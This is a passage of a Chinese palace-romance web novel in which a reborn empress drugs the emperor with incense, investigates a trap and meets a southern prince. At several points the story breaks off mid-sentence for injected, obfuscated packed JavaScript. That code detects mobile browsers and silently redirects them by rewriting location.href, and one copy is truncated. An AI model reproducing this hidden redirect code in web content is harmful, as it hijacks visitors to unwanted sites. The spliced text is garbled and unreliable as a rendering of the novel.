她不喜这种自己摸不透的感觉,似前世那般掌握不了自己命运一样,一边走着一边皱了皱眉。 二人又行了一段路,在一处角门停下,她回身看向身后跟着不远的萧誉,“剩下的路,萧世子与本宫怕是不同路了。” 萧誉了然,“原以为娘娘喜欢今日的月色,不打算回明华殿的。” 听萧誉提到明华殿,容蓁想到了此时应该还睡在她暖榻上的楚绍,在夜风中的面色愈发清冷,“我得回宫了,若陛下一会儿醒来见不着人怕是又要恼了。那个混蛋,每次一恼就拿本宫的花瓶泄气,也不知是什么怪脾气。” 萧誉愣了一下,面色微微一僵,声音有些闷,“皇后娘娘倒是了解陛下的脾气。” 容蓁不以为然,“见得多了,自然也就能猜到了。” 萧誉闻言笑意收起,脸色不自觉地沉了下去,原本清隽冷俊的容颜瞬间仿佛镀了一层寒冰。 容蓁见他脸色不佳只当他是记仇,“皇上连翻对你出手,也不怪你对他心生不喜。”那样的人,又有几人会喜欢。 萧誉只轻哼一声,不做回答。 容蓁见他不答,转身踏过角门,朝明华殿的方向走去。 只走了几步,她脚步一顿,须臾,转回身见萧誉依旧站在那角门之下,不曾移动半分,一双如狼细长的眼睛正看着自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13042582|132007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己,晦暗不明。 她远远看着笑了笑,末了朝萧誉招了招手。虽见萧誉脸上神情依然清冷如寒冰般,见她招手后不待思索地很快抬了脚,朝着她走了过来。 容蓁被眼前萧誉这般乖巧的模样惹笑。 直到萧誉走近,她依然笑的两只眼睛如月牙儿般弯起,抬手往萧誉那方靠了靠。 萧誉没反应过来,只看着容蓁向自己靠近,不禁整个身体都僵直住,连带呼吸都滞了滞。 容蓁抬手附在萧誉耳边,萧誉只觉被容蓁温热的气息惹得有些瘙痒,整个耳根子立马红了起来,他只庆幸好在是深夜。 “萧世子,上次那个香料可否多帮我备些?”容蓁的声音在耳旁响起。 他不知容蓁为何忽然提起迷幻香,本想转过头看她,又意识到容蓁正靠在他耳边,红着耳朵只好开口:“南疆倒是不乏各种香料,但这味香配起来稍复杂了些,不知娘娘何时再要?” 容蓁闻言轻笑。 那轻笑声在萧誉耳旁响起,却惹得他心神一荡,只觉此时的心窝被人用一物不停地挠着。 “倒也不急,好在陛下第二次歇在我殿里,还剩下了好几颗。”她说完又想到这一世楚绍对她不同的态度,顿了顿接着道:“不过,就怕陛下往后日日来,那我留着的那几颗便不顶用了。” 话落,萧誉的脸色一凝,紧紧地抿起了唇,“我知道了,会尽快的。” 她抬眸,看了眼天色,月光已逐渐淡去。 看月亮的位置,应快到寅时。 按着上次的时辰,楚绍也差不多快醒过来了,思及,容蓁加快了些回宫的脚步。 背后,注视她离开的男子,脸上的寒冰骤然散去,看着她的背影,眼神逐渐有了温暖,唇角也禁不住勾了起来。开始萧誉是不知道她要将那香用在楚绍身上的,现在倒是知道了。 容蓁熟练地从原路绕开皇室暗卫,翻进明华殿。 芯红为她留了窗,秋夜风寒,为了方便她回殿,芯红倒也不怕将楚绍吹出风寒来。 她放轻手脚从窗户翻入暖阁内,一眼就看见了正急地来回踱步的芯红。 后者见她回来,面上一喜,连忙迎了过来。 “陛下可曾醒来?”容蓁轻声问道。 芯红摇头,眼睛朝楚绍那边又看了看,同样放轻了声音,“娘娘快去换身衣服吧。” 容蓁点点头走进去,看了眼暖榻上熟睡的人丝毫没有察觉到她的进出,嘴边依然挂着意满的笑容熟睡着。 芯红眼尖得瞧见容蓁衣裙上不知在何处沾满的灰尘,猜晓娘娘今夜出去怕是经历了什么,好在陛下一直未曾醒来,但她还是暗自捏了一把汗。 不多久,容蓁重新换好一套淡蓝色宫装,简单重新将青丝松松绾起发髻,鬓间只钗了支步摇,抬手打着落帘进来。 容蓁走到案炉前,重新加了往日所焚的香料进去,掩盖了早已焚完的那枚香料的气味。这才打着哈欠,走到一旁的软塌边,踢了鞋,再次拿起了那本没看完的书,懒散地倚坐着翻看起来。 芯红将容蓁换下来的那身沾灰的衣物抱出去才回来为她烹了茶,轻轻放在她手边的桌案上,退到一旁细细打量着她家娘娘的神色。 45.楚然 几盏茶下肚,外面天色已渐渐泛了鱼肚白。 入秋之后,这天亮的就一日比一日要晚。 皇宫的夜异常的静,正如这抬头仰望只能看见四四方方的天一般,让人心里空空的。 没过多久,殿外由远及近传来急促的脚步声,不多时传来敲门声。 门被人推开,脚步声走了进来,止步于屏风另一侧。王乾的声音响起提醒道:“娘娘,到时辰唤陛下起身了。”说着,还隔着屏风脑袋朝里望了望。 暖榻上的人依然还没有要醒来的样子,睡的极香还带着沉沉的呼吸声。 容蓁侧首瞧了瞧,轻轻放下手里的书,缓步走到暖榻前,见楚绍脸颊隐隐泛着微红,心中猜想到他怕是还在梦中如愿辗转云雨着。 她眼底藏着冷意,坐在暖榻沿边,俯下身轻声唤道:“陛下,该起身早朝了。” 一向浅眠的楚绍今日睡得沉,王乾远远地站着脸上的褶皱都要挤在了一块儿。瞧容蓁唤了几声都见陛下没有醒来,正要走上前来。 又听容蓁将音量提高了些又唤了几声,边唤边伸手推了推,这才收了刚要抬出去的脚,暖榻上的人深吸了一口气悠悠转醒。 楚绍眉头先是轻轻一皱,紧接着他眼睛闭着动了几下,睫毛微颤。 须臾,才慢慢睁开那双凤眼。先是初醒时目光还带着些迷离,却只在一瞬间变得清明,一双凤眼锁定在容蓁的脸上,面上带了丝疑虑。 “什么时辰了?” 楚绍坐起身来,抬手揉了揉有些酸痛的脖子,嗓子带着些低哑问道。 “回陛下,卯时了。”容蓁低眉道,接过芯红递来的茶递了过去,芯红眼尖手厉的又捧了茶盂过去。 楚绍漱了口,目光又落到容蓁的面上。 瞧着那面上带着些恰好的羞涩,羞涩中似又带了点恼怒,十分满意地笑了笑,眉目随心情舒展开来。 见容蓁避开了自己的目光,倒也不觉得自己落了面子,又将目光投在屋内。 入眼处,衣服零零散散被乱扔了一地,他这才恍然想起昨日在明华殿说的那些话以及硬生生地扑倒了眼前的人。 他揉了揉眉心,满意的脸上带着一丝宠溺,伸了手想去拉容蓁。 容蓁察觉到楚绍的动作,不留痕迹地避开转身朝外走去,留下话:“臣妾让奴才们进来伺候皇上洗漱穿戴。” 楚绍见容蓁躲开,习惯性地皱了眉头,面上依旧没有恼意只当做她是那事之后的小性子,还颇为享受地勾了勾唇,脸上愉悦之色漫开,看着她起身走出去。 眨眼间的功夫,王乾领着宫人们进来暖阁里,又亲自跪地为楚绍穿上玄靴,扶着他下了床。 容蓁目光立刻朝一同进来的绿芜递了个眼色过去,绿芜立马会意朝暖塌走去。未等楚绍反应,绿芜已经伸手将暖榻上的被褥扯了下来,抱出了殿去。 楚绍疑惑地朝容蓁看去,却见容蓁站在一旁,正伸手为他试着擦脸的水温,心中的疑惑稍纵即逝,他倒是喜欢看她这副模样。这样的场景,亦是他幼时所盼。 他张开臂膀任由王乾为其穿戴,一双眸子盯着水盆前女子的动作眸色渐深。 回味时绿芜已抱了一套崭新的被褥重新走了进来,平整地铺好床榻。 一炷香后,楚绍已被宫人们伺候着用了早膳,见容蓁正斜倚在软榻上,翻着书,又瞧见她眼睑下落了一层青乌,回想着他昨日夜晚的动情卖力,只当她昨晚劳累没睡好,于是软声道:“你昨晚若是未歇息好,便再睡会,朕着人传旨今日不需六宫来你宫里定省,以免打搅你休息。” 容蓁笑着未答话,楚绍当她是默认就要抬脚出殿,她才起身向他出门的方向行礼,“恭送皇上。” “嗯。”楚绍低眼看着半跪行礼的容蓁,心中万分舒畅。 又吩咐着让王乾带人去赏赐六宫,这才迈着愉悦的步伐出了明华殿的门。 芯红同明华殿众人将楚绍送出明华殿宫门这才回来。 回来时,见容蓁已坐直了身体,端着茶细品,眉宇间颇有沉郁之色,猜晓娘娘有事要交代自己,便遣散了其他宫人后走上前,轻声道:“娘娘。” 容蓁放下手里的茶盏,收回思绪,抬头看着芯红,“我夜里去了趟东宫。” 芯红吃惊地瞪大了眼睛,环顾左右后又压低了声音问道:“娘娘怎去了东宫?” 容蓁将从明华殿出去后所遇到的事情,包括在玉兰轩见到萧誉的事都一一说给了芯红。 说完,芯红为她沏了一盏新茶,待容蓁轻轻抿了抿润了嗓,才皱着眉问道:“娘娘可还记得东宫宫人的排字?” 她点头,似是入了长久的回忆中,半晌道:“自是记得。东宫的宫女排‘暖’字名,而太监则排‘寒’字。若非那宫女当时提到这排字,我也不会任其带入陷阱里。” 芯红猜想这件事应该不简单,又道:“若是现在派人去查这个宫女的来历以及目的,必然来不及了。” “或者说,怕是现下在宫里都应是找不着这个宫女了。”容蓁眼睛眯了眯。 她想了许久都想不出背后之人会是谁,看了眼窗外的天色叹气道,“罢了,此时愈是想愈易着了旁人的道。累了一晚上确实困了,先歇息一会再说罢。” 话落,容蓁放下茶盏下了软塌,褪去外衣,走入内屋。 见绿芜已将新的被褥铺好,正想躺上去,却看见一物,眉头微微皱起,伸手将那只枕头扔了出去,“帮本宫拿个新的枕头过来。” 瞧着那被扔出去的枕头,芯红轻轻一笑,转身将地上的枕头捡起拿了出去,不多时就拿了个新的来递给她。 容蓁这才脱了鞋,躺上暖榻,半晌后便沉沉地睡了过去。 - 萧誉回到栖云轩时,天还未亮。 推开内殿的门时,易辰正守在萧誉房里半宿未睡。 见萧誉推门进屋,这才揉了揉眼,起身嘟囔着嘴道:“世子,您再不回来,这茶都够给我当早饭了。” 萧誉径直入里屋,换了套干净的长衫出来,这才开口道:“快去歇着罢,看你眼下这乌青当心回了南疆惹思然嫌弃,不嫁你。” 这下易辰顿时没了声,一双乌青的眸子死死地盯着萧誉,脸上敢怒不敢言的样子。 片刻后,又麻溜地凑上来给萧誉捏肩,“世子,你这一晚上都去哪儿了?”一边讨好地继续手上的活,一边偏头看向萧誉问道。 萧誉眸光动了动,又想到月色下的容蓁,嘴角不自觉地勾起,弧度逐渐扩大。 看他家世子如此神情,不用说易辰也猜到了些许,躲在萧誉身后翻了个白眼又摇了摇头,他家世子彻底魔怔了。 从前不见笑的一个人,如今时不时地傻笑,这若不是魔怔,那便是病入膏肓了! 萧誉也不恼,抬手拍了一下易辰依旧偏下来的头,正了正神色道:“你先去歇息会,我得去联络父王埋在楚宫里的暗探,让他帮我去查个人。” 易辰看着他神情严肃,知道世子突然要启用王爷埋在楚宫多年的暗探必然是有重要的事,瞬间收起玩笑,点头道:“世子要查谁?” 萧誉不假思索道:“前太子,楚然。” 易辰瞪大眼睛,看着他,“前太子?” 萧誉点点头。 易辰不解,“世子为何要查他?” 萧誉抬眼看他,挑眉道:“自然有必须查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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容蓁冷嗤一声道:“梦里倒是遂了他心意。” “若是往后那香料不够……” 容蓁晓得芯红的顾虑,打断她的话,“往后本宫自有法子应付,你且放心。” 芯红这才放心,垂下眼眸,为她剥着葡萄皮。 倒是经这一说,容蓁脑海里突然闪过一个想法,面色瞬间凝重起来。 “娘娘……”芯红将剥好的葡萄递给容蓁,瞧见她严肃的神情,心不免也提起来。 容蓁抬眸看着身旁的人,问道:“芯红,若有人特意为本宫设陷阱,你觉得他首先会做什么?” 芯红知道她家娘娘还在想着昨晚的事情,低头沉思了一会,半晌看向容蓁,目光坚定道:“应该先了解您的习惯。” “不错。”容蓁右手拄在桌案,手蜷起来,食指抵在唇间,那是她想事情时惯有的动作,“古人云:‘知己知彼’,若要设陷阱必先要了解被设陷阱的人。” 良久,她蹙着眉又问:“若是本宫都不知道自己昨夜会出去呢?” 芯红这回只思考了一瞬,便答道:“那定是出了奸细,将娘娘的行踪透露了出去!” 容蓁若有所思地点头,只有这个解释!但是明华殿是在她进宫后不久就已经让芯红排查过的。 不过片刻,她又觉得哪里不妥,问芯红:“可是昨天我出去时,这暖阁内只有你我二人。哪怕陛下没睡过去,他也决计在我们眼皮子底下传不出消息的。” 芯红闻言,“扑通”一声立马跪立在地上,右手举国头顶就要发誓,“娘娘,奴婢打小随着大公子进了容府后跟您一同长大,绝无二心!” 容蓁被芯红的举动吓了一跳,俯身亲自将芯红扶了起来,“你的性子我如何不知,本宫只是在想,这宫里还有哪里是你我二人未曾察觉到的疏漏。” 她思索片刻,招了招手让芯红附耳过来,小声在其耳边耳语了几句后,芯红转身就出了明华殿。 46.结案 芯红快步出了暖阁。 容蓁懒散地倚着软靠垫坐着,拿着绒球逗着怀里的小猫。 前世没有系统给的能力,所以她极少接触这些个动物,如今多了这个能力后,不自觉地她也就与动物多接触起来。倒是不论何种动物,也都愿与她多亲近。 殿外响起宫女的通传声:“皇后娘娘,王总管给陛下过来带话了”。 这时辰楚绍让王乾过来传话,她垂眼一想,已略猜到是何事,虽然心中不喜,面上还是平静地坐直了身子,让人请王乾进来说话。 帘幕被掀开,王乾从外走了进来,一张褶皱的脸上堆满了笑,恭敬地行礼道:“给皇后娘娘请安!” 容蓁看着眼前这位已过三十岁的太监,面上带着讨好的笑容,饶是一双火眼也是看不出那笑容之下有半分的假意。 这人惯是圆润,岁小就入宫,人在宫中多年,倒是未见哪宫曾与他红过脸的。 她对皇宫里的这些奴才们倒是没多大的抵触,不过都是些命苦的人罢了,所以从不难为这些下人们。 她抬了抬手,温声道:“王总管,起身吧。” 王乾规规矩矩地答谢后才起了身,低着头禀明来意:“娘娘,皇上说待与各位大臣商讨完事情后便过来,与娘娘一同用晚膳。” 虽说昨日帝后是成婚后第二次“同房”,这位经验丰富的太监总管现在也是提着一颗心,生怕将皇上吩咐的事情给办砸了。 容蓁抬眼,瞥了瞥殿外的天色,午时才过。不着痕迹地翻了个白眼,看向王乾时面上已带着几分笑,语气缓缓只说了句“知道了”,不再多话。 王乾见容蓁轻松地应下,面上依然如往常那般平和,这才松了一口气同容蓁行礼告退,由原先那名宫人引出了明华殿,回金銮殿向皇帝交差去了。 出了明华殿,他心里不由得掂量起来,原来古往今来的帝后和睦是何等的重要。 今儿清晨皇上自打从明华殿出来,到上完早朝回容政殿,脸上虽不曾一直带笑,却也没像平日里绷着,已然算得上是皇上的满面春风了。 早朝上,西南赈灾之事他都听得心惊胆颤,为户部那位大人捏了把汗,陛下竟都不曾说过一句问责的话,不痛不痒地说了两句也就翻了篇儿。 就连已过去两月的江南盐税案也终要结案,听着早朝上的意思,这江南巡盐造以公谋私与江南郑氏勾结贩卖私盐,以次充好、谎报税银。用得来的银子贿赂吏部尚书多年,只为保住他江南巡盐造一职。 如今犯案人等已由大理寺派人接手捉拿,御史大人办下来这么大的案子,又帮陛下拔出了江南多年的心刺,只怕从江南回了京这身份又得往上进一进了。 这容氏一族,还真是不可小觑。 王乾走后,一名宫女端了盘糕点进来。 容蓁用膳后喜食甜点,这时正拿了块云片糕放于口中细细嚼着。 办完事的芯红此时也从外面掀了帘幕进来,在屏风外多站了一会,待周身的寒气散了散才走进来。 容蓁依然吃着手中的云片糕,眼睛却向着芯红看去,芯红没说话只朝她点了点头。 一块糕点吃完,容蓁扬眉道:“如此晴朗的天气,不出去走走岂不辜负了。” 芯红耳聪目明,上前扶了容蓁起身,问:“娘娘可需更衣?” 容蓁摆摆手,“就这样吧。” 话落,又转身问刚刚端糕点进来的那宫女,“小厨房中可还有着云片糕?” 那宫女虽不知容蓁何意,但小厨房一般为应不时之需所做膳食都会余出来一份,于是点点头,恭敬道:“还余有一份。” “你且将那份糕点用膳盒装起,本宫送去给皇上。”容蓁吩咐道。 “是。”那宫女应下,起身去了小厨房。 这次出去,容蓁屏退了一干众人,只让芯红跟着。 来到金銮殿外,王乾正打着十二分精神站在殿外,其他小太监皆一副紧闭口鼻垂着头,看着脚底下的青砖。 王乾眼尖,远远瞧见正朝金銮殿走来的容蓁,立即迈开腿两步并一步走下台阶,来到容蓁跟前行礼道:“见过皇后娘娘,这时辰您怎亲自过来了。” 容蓁见王乾不偏不歪,正好挡住她的路,心思微转,停下脚步,也不恼,“本宫给皇上带了些点心,皇上可还在里头忙着?” 王乾面露难色,“回皇后娘娘,皇上正与几位大人说着西南赈灾的事儿,怕是一时半会见不上您。” 容蓁目光朝芯红手里的膳盒停留了一瞬,见芯红心领神会将膳盒递了出去,继续道:“也无他事,劳烦王总管替本宫转呈给皇上。” 她看着王乾笑眯眯应着从芯红手里接过膳盒,转身头也不回的离去。 “娘娘不是来见陛下的?”二人走出很远,芯红疑惑地问道。 容蓁轻哼一声,“见他做什么!方才王乾拦着不让进去,难不成真只是为了赈灾的事。” 芯红闻言,扶着容蓁的手紧了紧,接过话道:“只怕还有我们容氏的事。” 皇权之下哪容得他人安睡,容氏是皇家历代的爪牙,为君者不仅要发挥出爪牙最大的优势,也要学会在用不着的时候妥善安抚。 楚绍原不是最合适继承皇位的人,他没有过人之才、容人之量,没有政治谋略,做事全凭喜恶,更无治服臣下的手段。好在前几位皇帝勤政,知人善用,朝中不乏能臣,才没让熬枯了几代心思的伟业付之东流。 容蓁眼底似有凝成一层千年寒冰,语气冷冷道:“皇上视容氏为猛虎,只想着一味的拔去,可曾想过唇亡齿寒的道理。没了容氏,还有宋氏……他真要将楚燕的百年繁荣毁之一旦,那也只能让他别怪我!” “娘娘!”芯红闻言低声惊呼。 容蓁拍了拍芯红的手,安慰道:“放心,本宫只是想保住容氏不倒,不想天下受苦,越俎代庖的事情我自然不会去做。” 芯红点点头,她是相信自家娘娘的。 来时路上听娘娘说起江南盐税的案子已了,大公子不日就要动身回京,若回京加官进爵定是少不了,就怕这回来的路上不太平。 二人绕过金銮殿,再过两道角门就是御花园,刚要抬脚跨过一道角门,却听从后方传来一个爽朗的声音,“你们说今日萧兄是因何缘故没来学宫?” 容蓁清晰地听见其中两个字,停下脚步,转过身去,依稀看到拐角处几个人正走过来。因说话正投入,一时未察觉不远处的人正看着他们缓缓走近。 几人从拐角走出,竟是魏巡、苏元清还有靖宁王府的小公子楚景三人。 楚景比魏巡和苏元清都小,声音纯净,接过魏巡的话道:“萧兄并非随意偷懒之人,怕是身体不适才致今日未曾来。” 说完,楚景看向身旁的苏元清,目光有几分落到魏巡身上。魏巡察觉,也随之朝没说话的苏元清看去。 苏元清脚步顿住,笑了笑,温润地开口道:“我今日一直同你们两一处,我如何得知。” 话未说完,见楚景略显失落的模样,话锋一转:“不如,我们前去栖云轩看望一番。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13057589|132007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚景正要拍手同意,却未察觉几人说话间已走近容蓁面前。 苏元清最先察觉,悄悄扯了扯楚景的衣袖,递了个眼色,魏巡也同时察觉到,三人一齐跪地行礼,“见过皇后娘娘。” 容蓁笑着摆手,“不必多礼,都起来吧。这时辰早已下学,几位公子为何现还停留在宫中。” 几人也没瞒着,将萧誉今日没去学宫的事情告诉给了容蓁。他们有些担心,正打算过去栖云轩瞧瞧。 容蓁忍住笑意,想着昨日那人同自己在兰玉轩呆了一晚,怕也是回去倒头就睡,哪儿还有精神去学宫。 她倒是小瞧了萧誉,楚绍准他入学宫还未有足月,他竟能与魏巡、苏元清和楚景这几人成了好友。 就连他一日未去学宫,这几人便能念着想着去栖云轩看望他,当真是有社交的好手段。 容蓁微微侧身让开路,“几位公子过去吧,莫忘了遣人回府告知家人,徒让家里人担心,宫门落锁前需记得回府。” 几人一一应下,又向容蓁拱手行了礼,朝着栖云轩的方向走去。 容蓁本想去御花园再走走,却想起楚绍一会儿要去明华殿用完膳的事情,便没有兴趣,转身往回走。 她一步步踏在青玉石砖上,心思沉重。 芯红在一旁看在眼里不敢多言。 走了几步,容蓁停下脚步,“你亲自去趟淑贵妃宫里,让她用了晚膳过来,就说本宫有六宫的事宜与她商量。” 芯红点头回道:“是,奴婢陪娘娘回宫后,便过去。” 容蓁摇头,轻轻推了推芯红扶着她的手,“你现在便去,本宫自己走回去就好,不用你来回折腾。” 芯红感念她家娘娘体恤她,也知晓她现下大概想自己走走静一静,所以没有坚持,目送着容蓁走远,转身往宋冉琴的宫里走去。 容蓁放慢了脚步,一人安静地走在回去的御道上。 回到明华殿时,已至申时。 她亲自去了趟小厨房,说了声晚膳多添几样荤菜,皇上要过来用晚膳的话。御厨们立马来了劲儿,杀了新鲜的鱼,雕着萝卜花,配起膳食来。 容蓁却没他们那高兴的模样,出了小厨房,回到暖阁里,脱了鞋坐上了软塌,闭目养神起来。 暖阁里一片幽静,唯有案炉里的香烟如一缕青丝缓缓而上。 不一会儿,芯红从外面掀了帘子进来,容蓁这才睁开眼睛,目光落在芯红身上。 不等容蓁开口,芯红便轻声说道:“淑贵妃让奴婢转告娘娘,她用完晚膳后即刻过来。” 容蓁点头,起了身子,方才在外面走了那么一会儿倒是觉得乏了,往妆台前走去。 芯红跟着容蓁走到妆台前,伸手为她摘去发髻上的发饰,又将发带松下,一头青丝如瀑散落下来,搭在腰间。 容蓁拿起牛角木梳,看着镜中的自己,梳着头,正坐着想着事情,突然察觉到一道疾风从耳旁擦过,却没有感到身后有肃杀的气息,任由那物体落在她的妆台上。 她挪眼向那物体看去,不是其他,而是一朵开的正艳的荷兰菊,那么远的距离被扔进来稳稳落下且没有伤到花瓣丝毫,可见那人功力至深。 芯红警惕地转身,向暖榻旁的窗外望去,正欲呼出声,没见到任何人,不由地拧紧眉间,究竟什么人,竟然连守护在外的紫冥都不曾察觉到。 容蓁看着妆台上那朵花,眼里看不出情绪,并未转身,抬手拍了拍芯红的手背似在安抚,语气平静道:“萧世子既然来了,就进来说话罢。” 47.梳妆 窗棂被风打的响动,容蓁的手还搭在芯红的手背上。 后者闻言也回头朝窗外看去,一席白衣的萧誉就那样站在那儿,眸光微闪看着梳妆台前的她。 容蓁话音未落,窗外人忽地笑了,身形一闪如同鬼魅般已抬腿翻窗进来,一把锋利的剑同时也抵在了他脖子上,不得不让他停止了动作。 萧誉看着梳妆台前依然未转身的背影,笑了笑,指着脖子上的剑刃,语气轻松道:“娘娘,您的暗卫似乎不大欢迎我。” 话落,那双眸子从容蓁的背影移至一旁用刀抵着他的紫冥身上。 容蓁闻言转过身去,入眼是萧誉一双如墨般漆黑的眼眸。 虽未长开,那张容颜已是清俊得不像话。哪怕整个御花园的满树艳丽的花,也未必能及一个他。而他也同样正看着她,嘴角带笑温润如玉,哪能从他身上看见从前半点阴冷的模样。 她看着他的笑怔了怔,一时间有些恍惚。 萧誉两手撑在窗棂上,目光又落回到容蓁身上,似是丝毫不在意那柄抵在自己脖子上的剑。 “娘娘。”芯红轻声提醒着容蓁,心中又对萧誉腹诽了一遍。 容蓁这才抬了抬下巴,朝紫冥道:“让萧世子进来罢。” 她坐回妆台前,不再看他。悄无声息地能进入她的明华殿不被皇上的暗桩发现,能在紫冥眼皮子底下潜入明华殿躲过紫冥一瞬,这位南疆来的世子本事果真不小。 “芯红,你暂且出去吧。”容蓁吩咐道。 “娘娘……”芯红皱眉,欲言又止的样子看着她。 容蓁见芯红还是未动,又吩咐道:“你且去安排晚膳的事吧,陛下既然要来,就按他喜好备膳。” 芯红嘴皮子动了动,终是未多言转身退出暖阁,整个房间里现只剩下容蓁和萧誉二人。 她瞧了眼安放在妆台上的菊花,拿起来放在鼻尖嗅了嗅,勾了勾嘴角道:“世子不仅‘辣手摧花’,如今倒也学起了偷鸡摸狗的本事。” 萧誉走至她身旁,摸了摸鼻子,也笑道:“前一句我不否认鲜花配美人,只是后一句,那也只能说是看多了也就学会了。” 容蓁一噎,顿时失语。似乎之前每次去找萧誉,她都是翻墙根儿去。 她慢慢转回头,不搭话,手里握着那牛角木梳继续顺着发。 萧誉在她背后悄悄露出得逞的笑来,迈步走上前去,将容蓁停在空中手里的牛角木梳拿了过去,顺着她方才的动作,轻轻地从她头顶一下一下轻柔地梳着。 容蓁他的动作被惊到,瞬间僵直了身子,黛眉蹙起身体开始紧绷起来,还从没有哪个男子为她梳过头。这个世道也从未见过、听过,那个男子肯用自己那双手拿起梳子为女子梳妆。 别说盛京的这些个宗室勋贵,即便是普通男子都只愿意手里挽弓拿剑,降服烈马,或拿笔杆、琴笛做那些附庸风雅之事,哪里肯做这些伺候旁人的活! 哪怕她父亲与母亲恩爱几十年,印象里也都未曾见过父亲为母亲梳过发。 萧誉虽非楚燕的勋贵公子,但南疆王世子的身份摆在那里,也是丝毫不比盛京之中哪位公子要低的。哪怕是宫里的皇子们,只要还未封得太子,按理也是需得往他身后靠一靠。 而他此时似乎并不在意这些,正专注地拿着她的牛角木梳,安静地站在她的身后,为她梳散一根根青丝,丝毫不觉有任何不妥。 习武之人本就比普通人的感官更为灵敏些,顺着萧誉的动作,她连呼吸都轻了。 正当她一时拿不准萧誉在想什么,却听身后之人轻轻叹了口气道:“原以为路上会有什么好看的花,寻了半天也就这朵荷兰菊能将就,但是将它带来到你这殿里,我便后悔了。” 容蓁透过镜子,看到身后的萧誉,如松柏挺直的背脊,如兰俊逸的男子也正看着她。 她抬眸从镜中看向他时,美若芙蕖的容颜撞入萧誉的眼底,使他稍稍愣神,半晌后继续道:“后悔不能将南疆的金粉魏紫带来,只有那金粉魏紫才配得上你。待来日去到南疆,一定将那金粉魏紫捧来给你,戴于你鬓间!” 容蓁被他的话“嗤”一声逗笑,“那可并非普通的荷兰菊,一株万金不止的稀罕花竟被世子视若粪土。世子还是将金粉魏紫留给以后的世子妃吧。” 话落,萧誉眸光闪了闪,不以为意冷哼道:“万金如何,世间并非所有东西都靠钱银能衡量的。” 金粉魏紫她小时听二哥提起过,那花娇贵的很,仅生长在南疆内的涞水河畔,七年开一次花,一次只开七日。二哥曾带回来过一束给她,奈何从南疆到燕京快马加鞭都需半月脚程,待二哥回家时,那花却已开谢,终是未曾见到那花开时的美丽。 萧誉不会梳女子的发髻,只将容蓁的青丝彻底梳顺后,将牛角木梳放回在那妆台上。 容蓁拿玉簪将青丝松松地绾起,额前几根发丝从她脸颊滑落,十分慵懒的模样。 见她这样打扮,萧誉竟觉得赏心悦目,笑着打趣道:“娘娘倒是不介意我看到您这般。” 她本打算小憩,哪想萧誉会如此大胆闯进她暖阁里,发饰和发髻都落下了,她也懒得再梳理,反正当时在山洞里更狼狈的模样都被他见过。 听他这样说,容蓁剜了他一眼,不答话。 萧誉见她不理会,如在自己寝殿般,在她身旁自顾自地坐了下来,一点儿也瞧不出有半分的拘束,还抬手为自己倒了杯茶,端起茶盏悠哉地品尝起来。 容蓁瞧他那随意的样子,哪里有半年前在承乐殿初见时那浑身戒备的模样。 只有那张俊俏过分的脸,提醒着别人是他萧誉没错! 她挑了挑眉,“世子莫不是一时兴起,只为来本宫这里讨杯茶喝吧。” 萧誉闻言,举着茶盏的手倏地停在半空,一双如墨的眸子向容蓁看去,弯眼笑道:“娘娘好记性,莫不是故意忘了刚刚在下还为您梳了头,哪只喝茶这一桩事?” 容蓁一噎,忽地手腕一环将手旁的那朵菊花挽起,又变了个方向朝萧誉掷去。那花被容蓁灌入十分的功力,每一片花瓣瞬间如同尖锐的利刀,直飞翔萧誉面门。 萧誉瞳孔一缩,伸手抡起一旁的软垫,手里画着圈,一一将那花瓣生生挡下。再看那软垫,早已被花瓣划破几十道口子,漏出内里的白棉絮。 “好俊的功夫!”容蓁收起手指尖的功力,夸赞道。 萧誉将手里软垫扔在一旁,拍了拍手,继续端起茶盏心平气和地喝着茶,又一杯下肚才道:“娘娘真沉得住气。” 他放下茶盏,看向容蓁的眼底含着深意,“昨晚与娘娘说过的,我想帮你,是真心话。江南一案我们合作的不也是很愉快吗?” 容蓁轻轻皱起眉,若无萧誉的暗中帮助,此次江南盐税一案她确实没有完全的把握能帮助哥哥。她眼底有波澜涌起,偏过头沉闷片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079989|132007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻才道:“昨夜的事,有古怪。” 萧誉听罢又添了一杯茶,喝了一小口,笑不达眼底,“我知道。” 容蓁眉头拧紧,终是开口将她昨日去往东宫所看到的事,以及今日与芯红的分析说给了萧誉听。 萧誉听后,深深地看了眼容蓁,拿手撑着额头,似笑非笑道:“如此说来,昨晚能够遇到娘娘,在下还得感谢一下这位前太子。” 容蓁不置可否。 